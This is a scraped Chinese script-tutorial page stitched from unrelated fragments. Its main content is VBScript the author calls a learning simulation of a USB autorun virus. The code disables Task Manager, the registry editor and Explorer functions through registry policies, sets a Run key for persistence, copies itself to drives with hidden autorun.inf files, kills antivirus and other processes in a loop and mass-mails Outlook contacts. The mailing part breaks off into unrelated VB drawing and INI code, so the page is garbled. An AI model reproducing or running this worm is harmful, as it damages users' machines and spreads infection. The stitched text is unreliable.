mysql shell脚本剧本和范例

发布时间:2020-11-19 来源:脚本之家 点击:

这样做后,程序的其他部分,比如一个结束循环的命令按钮,就又机会接受点击事件了

罗技鼠标脚本怎么写到板载内存
这只不过是一个需要注意的地方有时候您会同时写几个不同的程序,或因为某种原因,程序停了一段时间,当您下一次要再继续写时,已经忘了上次写到那里了,其实有一个很简单的方法,可以马上唤起您的记忆

使用过U盘的朋友都知道u盘病毒是一种Autorun自运行病毒,当双击时触发病毒体,会复制自身到CDE和系统盘system32下等盘符,(生成exe文件和一个Autorun.inf文件),同时修改注册表,当点击C盘等盘符右键时,会有一个auto命令(黑色粗体)或者是两个开始命令,本人学习vbs才15天,我也来模拟下这个autorun病毒和部分熊猫烧香功能,本人能力有限,只能模拟这样的病毒了,声明,本人模拟这个病毒,全是为了学习和技术,切忌不要搞破坏,如果有人用本人代码破坏,后果自负onerrorresumenext
dimfso,wsh,myfile,ws,pp,fsoFolder
setwsh=wscript.createobject("wscript.shell")
setfso=wscript.createobject("scripting.filesystemobject")
setmyfile=fso.GetFile(wscript.scriptfullname)
'修改注册表(开始菜单里面的东西和IE各项设置)
wsh.Regwrite"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue",0,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Policies\Microsoft\InternetExplorer\Restrictions\NoBrowserContextMenu",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Policies\Microsoft\InternetExplorer\Restrictions\NoBrowserOptions",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Policies\Microsoft\InternetExplorer\Restrictions\NoBrowserSaveAs",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Policies\Microsoft\InternetExplorer\Restrictions\NoFileOpen",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Policies\Microsoft\InternetExplorer\ControlPanel\Advanced",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Policies\Microsoft\InternetExplorer\ControlPanel\CacheInternet",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Policies\Microsoft\InternetExplorer\ControlPanel\AutoConfig",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Policies\Microsoft\InternetExplorer\ControlPanel\HomePage",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Policies\Microsoft\InternetExplorer\ControlPanel\History",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Policies\Microsoft\InternetExplorer\ControlPanel\ConnwizAdminLock",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\InternetExplorer\Main\StartPage",""
wsh.Regwrite"HKCU\Software\Microsoft\InternetExplorer\Main\SearchPage",""
wsh.Regwrite"HKCU\Software\Microsoft\InternetExplorer\Main\Default_Page_URL",""
wsh.Regwrite"HKCU\Software\Microsoft\InternetExplorer\Main\Default_Search_URL",""
wsh.Regwrite"HKEY_USERS\.DEFAULT\Software\Microsoft\InternetExplorer\Main\StartPage",""
wsh.Regwrite"HKEY_USERS\.DEFAULT\Software\Microsoft\InternetExplorer\Main\Default_Page_URL",""
wsh.Regwrite"HKEY_USERS\.DEFAULT\Software\Microsoft\InternetExplorer\Main\Default_Search_URL",""
wsh.Regwrite"HKEY_USERS\.DEFAULT\Software\Microsoft\InternetExplorer\Main\SearchPage",""
wsh.Regwrite"HKCU\Software\Policies\Microsoft\InternetExplorer\ControlPanel\HomePage",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Policies\Microsoft\InternetExplorer\ControlPanel\SecurityTab",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Policies\Microsoft\InternetExplorer\ControlPanel\ResetWebSettings",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Policies\Microsoft\InternetExplorer\Restrictions\NoViewSource",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Policies\Microsoft\InternetExplorer\Infodelivery\Restrictions\NoAddingSubScriptions",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileMenu",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\NoRealMode",1,"REG_DWORD"
wsh.Regwrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32system","c:\NYboy.vbs"
wsh.Regwrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ScanRegistry",""
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoTrayContextMenu",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\StartMenuLogOff",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSMHelp",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoNetHood",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoWinKeys",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRecentDocsMenu",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind","1","REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoWindowsUpdate",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetTaskbar",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFavoritesMenu",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRecentDocsHistory",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools","1","REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\Disabled",1,"REG_DWORD"
'使用户不能通过双击打开硬盘,这里还可以修改为使其不能通过双击打开文件夹,同理,不赘续
wsh.Regwrite"HKLM\SOFTWARE\Classes\Drive\shell\auto\command","C:\NYboy.bat'%1'"
wsh.Regwrite"HKCR\Drive\shell","auto"
wsh.Regwrite"HKCR\Drive\shell\auto\command","C:\NYboy.bat'%1'"
wsh.Regwrite"HKLM\SOFTWARE\Classes\Directory\shell","auto"
wsh.Regwrite"HKCR\Directory\shell\auto\command","C:\NYboy.bat'%1'"
wsh.Regwrite"HKLM\SOFTWARE\Classes\Directory\shell\auto\command","C:\NYboy.bat'%1'"
'修改默认文件图标 这里可以换成可爱的熊猫哦
wsh.Regwrite"HKCR\exefile\DefaultIcon","c:\1.ico"
wsh.Regwrite"HKCR\txtfile\DefaultIcon","c:\1.ico"
wsh.Regwrite"HKCR\dllfile\DefaultIcon","c:\1.ico"
wsh.Regwrite"HKCR\batfile\DefaultIcon","c:\1.ico"
wsh.Regwrite"HKCR\inifile\DefaultIcon","c:\1.ico"
wsh.Regwrite"HKLM\SOFTWARE\Classes\exefile\DefaultIcon","c:\1.ico"
wsh.Regwrite"HKLM\SOFTWARE\Classes\txtfile\DefaultIcon","c:\1.ico"
wsh.Regwrite"HKLM\SOFTWARE\Classes\dllfile\DefaultIcon","c:\1.ico"
wsh.Regwrite"HKLM\SOFTWARE\Classes\batfile\DefaultIcon","c:\1.ico"
wsh.Regwrite"HKLM\SOFTWARE\Classes\inifile\DefaultIcon","c:\1.ico"
wsh.Regwrite"HKLM\Software\CLASSES\.reg","txtfile"
wsh.Regwrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption","你好啊,大兵和你开个小小的玩笑"
wsh.Regwrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText","你已经中毒了,赶快杀毒或者与QQ252287438联系"
'复制自身到C,D,E,F,U盘
myfile.copy"c:"
myfile.copy"D:"
myfile.copy"E:"
myfile.copy"F:"
myfile.copy"I:"
myfile.attributes=34
'定义Autorun.inf的内容 这个就是u盘病毒必须的代码部分 这里可以简单写
Iffso.FileExists("C:\autorun.inf")Then
SetobjFolder=fso.GetFile("C:\autorun.inf")
Else
wsh.run"cmd/cecho[AutoRun]>>C:\autorun.inf"_
&"&&echoopen=NYboy.bat>>C:\autorun.inf"_
&"&&echoshellexecute=NYboy.bat>>C:\autorun.inf"_
&"&&echoshell\Auto\command=NYboy.bat>>C:\autorun.inf"_
&"&&echoshell=Auto>>C:\autorun.inf"_
&"&&attrib+h+s+rC:\autorun.inf"
setautobatc=fso.createtextfile("c:\NYboy.bat",1,ture)
autobatc.writeline("NYboy.vbs")
EndIf
Iffso.FileExists("D:\autorun.inf")Then
SetobjFolder=fso.GetFile("D:\autorun.inf")
Else
wsh.run"cmd/cecho[AutoRun]>>D:\autorun.inf"_
&"&&echoopen=NYboy.bat>>D:\autorun.inf"_
&"&&echoshellexecute=NYboy.bat>>D:\autorun.inf"_
&"&&echoshell\Auto\command=NYboy.bat>>D:\autorun.inf"_
&"&&echoshell=Auto>>D:\autorun.inf"_
&"&&attrib+h+s+rD:\autorun.inf"
setautobatd=fso.createtextfile("D:\NYboy.bat",1,ture)
autobatd.writeline("NYboy.vbs")
EndIf
Iffso.FileExists("E:\autorun.inf")Then
SetobjFolder=fso.GetFile("E:\autorun.inf")
Else
wsh.run"cmd/cecho[AutoRun]>>E:\autorun.inf"_
&"&&echoopen=NYboy.bat>>E:\autorun.inf"_
&"&&echoshellexecute=NYboy.bat>>E:\autorun.inf"_
&"&&echoshell\Auto\command=NYboy.bat>>E:\autorun.inf"_
&"&&echoshell=Auto>>E:\autorun.inf"_
&"&&attrib+h+s+rE:\autorun.inf"
setautobate=fso.createtextfile("E:\NYboy.bat",1,ture)
autobate.writeline("NYboy.vbs")
EndIf
Iffso.FileExists("F:\autorun.inf")Then
SetobjFolder=fso.GetFile("F:\autorun.inf")
Else
wsh.run"cmd/cecho[AutoRun]>>F:\autorun.inf"_
&"&&echoopen=NYboy.bat>>F:\autorun.inf"_
&"&&echoshellexecute=NYboy.bat>>F:\autorun.inf"_
&"&&echoshell\Auto\command=NYboy.bat>>F:\autorun.inf"_
&"&&echoshell=Auto>>F:\autorun.inf"_
&"&&attrib+h+s+rF:\autorun.inf"
setautobatf=fso.createtextfile("F:\NYboy.bat",1,ture)
autobatf.writeline("NYboy.vbs")
EndIf
Iffso.FileExists("I:\autorun.inf")Then
SetobjFolder=fso.GetFile("I:\autorun.inf")
Else
wsh.run"cmd/cecho[AutoRun]>>I:\autorun.inf"_
&"&&echoopen=NYboy.bat>>I:\autorun.inf"_
&"&&echoshellexecute=NYboy.bat>>I:\autorun.inf"_
&"&&echoshell\Auto\command=NYboy.bat>>I:\autorun.inf"_
&"&&echoshell=Auto>>I:\autorun.inf"_
&"&&attrib+h+s+rI:\autorun.inf"
setautobatf=fso.createtextfile("I:\NYboy.bat",1,ture)
autobatf.writeline("NYboy.vbs")
EndIf
'设置病毒体属性为 系统 只读 隐藏
wsh.run"cmd/cattrib+h+s+rC:\NYboy.bat"_
&"&&attrib+h+s+rD:\NYboy.bat"_
&"&&attrib+h+s+rE:\NYboy.bat"_
&"&&attrib+h+s+rF:\NYboy.bat"_
&"&&attrib+h+s+rI:\NYboy.bat"
'强制结束某些进程,比如QQ,记事本,网页,批处理文件,卡巴,realplay等进程,运行后打不开这些文件
do
setws=getobject("winmgmts:\\.\root\cimv2")
setpp=ws.execquery("select*fromwin32_processwherename='taskmgr.exe'orName='QQ.exe'orName='notepad.exe'orName='IEXPLORE.exe'orName='cmd.exe'orName='avp.exe'orName='winRAR.exe'orName='realplay.exe'orName='WINWORD.exe'")
foreachiinpp
i.terminate()
wscript.sleep100
next
loop
'使病毒可以靠邮件传播
Setol=CreateObject("Outlook.Application")
OnErrorResumeNext
Forx=1To5
SetMail=ol.CreateItem(0)
Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x)
Mail.Subject="今晚你来吗?"
Mail.Body="朋友你好:您的朋友给您发来了热情的邀请(注意图片路径可能要修改)

PrivateSubForm_Activate()

'详细阅读PaintPicture的说明就可了解,在来源图和目的图中,

'可以指定某个特定区域来绘图,亦即可以将图片切割或放大,缩小

Picture1.PaintPicturePicture,10,10,1000,1000,0,0,500,500

EndSub

PrivateSubForm_Load()

AutoRedraw=True

'以下路径可能要修改

Picture=LoadPicture("e:\win95\bubbles.bmp")

WithPicture1

.Left=1000

.Top=1000

.Width=2000

.Height=2000

.AutoRedraw=True

EndWith

EndSub->->

使用此类代码将SPAN(附带DataArea的ID)放置在按钮的下方:

<P><spanid=DataArea></span>
其次,需要收集该数据,并将其全都保存到一个变量中,而不在一个消息框中显示所有数据'文件名SourceDB.ini文件

  PrivateDeclareFunctionGetPrivateProfileStringLib"kernel32"Alias

  "GetPrivateProfileStringA"(ByVallpApplicationNameAsString,ByVallpKeyNameAsAny,ByVal

  lpDefaultAsString,ByVallpReturnedStringAsString,ByValnSizeAsLong,ByVal

  lpFileNameAsString)AsLong

  PrivateDeclareFunctionWritePrivateProfileStringLib"kernel32"Alias

  "WritePrivateProfileStringA"(ByVallpApplicationNameAsString,ByVallpKeyNameAsAny,ByVal

  lpStringAsAny,ByVallpFileNameAsString)AsLong

  

  '以下两个函数,读/写ini文件,固定节点setting,in_key为写入/读取的主键

  '仅仅针对是非值

  'Y:yes,N:no,E:error

  PublicFunctionGetIniTF(ByValIn_KeyAsString)AsBoolean

  OnErrorGoToGetIniTFErr

  GetIniTF=True

  DimGetStrAsString

  GetStr=VBA.String(128,0)

  GetPrivateProfileString"Setting",In_Key,"",GetStr,256,App.Path&"\SourceDB.ini"

  GetStr=VBA.Replace(GetStr,VBA.Chr(0),"")

  IfGetStr="1"Then

  GetIniTF=True

  GetStr=""

  Else

  GoToGetIniTFErr

  EndIf

  ExitFunction

  GetIniTFErr:

  Err.Clear

  GetIniTF=False

  GetStr=""

  EndFunction

  

  PublicFunctionWriteIniTF(ByValIn_KeyAsString,ByValIn_DataAsBoolean)AsBoolean

  OnErrorGoToWriteIniTFErr

  WriteIniTF=True

  IfIn_Data=TrueThen

  WritePrivateProfileString"Setting",In_Key,"1",App.Path&"\SourceDB.ini"

  Else

  WritePrivateProfileString"Setting",In_Key,"0",App.Path&"\SourceDB.ini"

  EndIf

  ExitFunction

  WriteIniTFErr:

  Err.Clear

  WriteIniTF=False

  EndFunction


  '以下两个函数,读/写ini文件,不固定节点,in_key为写入/读取的主键

  '针对字符串值

  '空值表示出错

  PublicFunctionGetIniStr(ByValAppNameAsString,ByValIn_KeyAsString)AsString

  OnErrorGoToGetIniStrErr

  IfVBA.Trim(In_Key)=""Then

  GoToGetIniStrErr

  EndIf

  DimGetStrAsString

  GetStr=VBA.String(128,0)

  GetPrivateProfileStringAppName,In_Key,"",GetStr,256,App.Path&"\SourceDB.ini"

  GetStr=VBA.Replace(GetStr,VBA.Chr(0),"")

  IfGetStr=""Then

  GoToGetIniStrErr

  Else

  GetIniStr=GetStr

  GetStr=""

  EndIf

  ExitFunction

  GetIniStrErr:

  Err.Clear

  GetIniStr=""

  GetStr=""

  EndFunction

  

  PublicFunctionWriteIniStr(ByValAppNameAsString,ByValIn_KeyAsString,ByValIn_DataAsString)AsBoolean

  OnErrorGoToWriteIniStrErr

  WriteIniStr=True

  IfVBA.Trim(In_Data)=""OrVBA.Trim(In_Key)=""OrVBA.Trim(AppName)=""Then

  GoToWriteIniStrErr

  Else

  WritePrivateProfileStringAppName,In_Key,In_Data,App.Path&"\SourceDB.ini"

  EndIf

  ExitFunction

  WriteIniStrErr:

  Err.Clear

  WriteIniStr=False

  EndFunction

->

")
WScript.Quit
EndIf

GetError=StrReverse(GetError)
Tem2=0
ForI=1ToLen(GetError)
IfMid(GetError,I,1)=Chr(47)AndTem2=0Then
Temp=Temp&"c5%"
Tem2=Tem2+1
Else
Temp=Temp&Mid(GetError,I,1)
EndIf
Next
GetError=StrReverse(Temp)


CallxmlPost(GetError)
ErrorText=vServer&""&xStatus
BaseSaver=GetStr(vRsBody,"找不到文件'","'剧本VB提供了一个三维面板控件,利用这个控件可设计图形效果的立体界面,从而使应用程序的界面显得更生动、美观,该控件还可以设置各种形式的背景,然后在背景上显示各种形式的字符,令人感兴趣的是,使用三维面板控件,还可设计我们经常在安装程序中看到的表示安装进程的流动条,并可显示进程百分比,改变流动条的颜色
等大家可以参考原理,应用到自己的程序中。

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号